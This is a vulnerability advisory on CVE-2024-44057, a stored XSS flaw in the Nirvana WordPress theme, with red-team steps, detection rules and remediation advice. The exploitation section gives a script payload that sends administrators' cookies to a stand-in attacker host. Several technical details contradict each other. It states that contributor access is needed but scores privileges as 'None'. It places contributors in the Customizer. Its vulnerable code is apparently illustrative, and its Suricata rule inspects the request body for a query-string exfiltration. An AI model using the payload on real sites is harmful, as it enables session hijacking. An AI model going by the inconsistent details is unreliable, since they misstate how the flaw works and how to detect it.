CVE-2024-44057

Executive Summary

CVE-2024-44057 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nirvana WordPress theme by CryoutCreations, affecting versions through 1.6.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the theme’s settings or content fields. This stored XSS can be triggered when an administrator views the affected page, leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation in the wild. No public proof-of-concept or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the Nirvana WordPress theme, not the underlying web server (Apache/Nginx). The theme’s admin-facing input fields lack proper sanitization, enabling stored XSS payloads to persist and execute in the context of the WordPress admin dashboard.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – but exploitation requires user interaction (UI:R) from an admin.
• User Interaction: Required (UI:R) – victim must visit a crafted page.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of data.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Medium. While the CVSS is moderate, the lack of a patch and the potential for stored XSS in a widely-used theme elevates the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the Nirvana theme’s customizer or settings panel, where user input (e.g., theme options, widget text, or custom CSS/JS fields) is not properly sanitized before being stored and rendered. An attacker with contributor-level access can inject a payload like:

<script>alert('XSS')</script>

When an administrator views the affected page (e.g., the theme settings page or a front-end element), the script executes in the admin’s browser session. This can lead to:

• Session Hijacking: Stealing admin cookies via document.cookie.
• Credential Theft: Phishing via fake login forms.
• Defacement: Modifying page content dynamically.

The root cause is the use of echo or print functions without proper escaping (e.g., esc_html(), esc_attr(), or wp_kses()) in the theme’s PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (Nirvana <= 1.6.3):

// In theme-options.php or similar
echo '<input type="text" name="nirvana_options[header_text]" value="' . $options['header_text'] . '" />';

This directly outputs user input without sanitization.

Patched Code (Hypothetical):

// Properly escaped
echo '<input type="text" name="nirvana_options[header_text]" value="' . esc_attr( $options['header_text'] ) . '" />';

The esc_attr() function encodes special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Nirvana theme <= 1.6.3.
• Attacker has contributor-level credentials or higher.

Steps:

1. Log in as a contributor.
2. Navigate to Appearance > Customize or Settings > Nirvana Options.
3. In a text field (e.g., "Header Text" or "Custom CSS"), inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Wait for an admin to view the affected page (e.g., the theme settings page).
6. The admin’s cookie is exfiltrated to the attacker’s server.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker or XAMPP).
• Install Nirvana theme version 1.6.3.
• Create a contributor user and an admin user.
• Use a webhook listener (e.g., webhook.site) to capture exfiltrated data.

Blue Team (Defender)

Detection:

• Monitor for unusual changes to theme options via WordPress audit logs.
• Look for JavaScript payloads in theme settings fields.
• Use WAF rules to block common XSS patterns (e.g., <script>, onerror=).

Mitigation:

• Immediately disable or remove the Nirvana theme if no patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie in the query string.
• File System: Modified theme option values in the wp_options table (option_name nirvana_options).
• Logs: WordPress debug logs showing unexpected JavaScript execution errors.
• Behavior: Admin users reporting unexpected pop-ups or redirects.

Example IOC:

{
  "type": "network",
  "destination": "attacker.com",
  "uri": "/steal?cookie=...",
  "method": "GET"
}

Detection Engineering

YARA Rule

rule CVE_2024_44057_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Nirvana theme options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44057"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $theme_option = /nirvana_options/
    condition:
        $theme_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Nirvana Theme Options
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Nirvana theme settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress option update
        OptionName: 'nirvana_options'
        OptionValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in theme settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44057 Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Nirvana theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Audit user roles – ensure only trusted users have contributor-level access or higher.
3. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block <script> tags in theme option fields.

Long-Term Fix:

• Monitor the CryoutCreations website or WordPress plugin repository for an official patch.
• Once patched, update the theme to the latest version.
• Implement input validation and output escaping in custom themes.

Workaround:

• Use a WordPress security plugin to enforce strict CSP headers:

  Header set Content-Security-Policy "script-src 'self';"
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst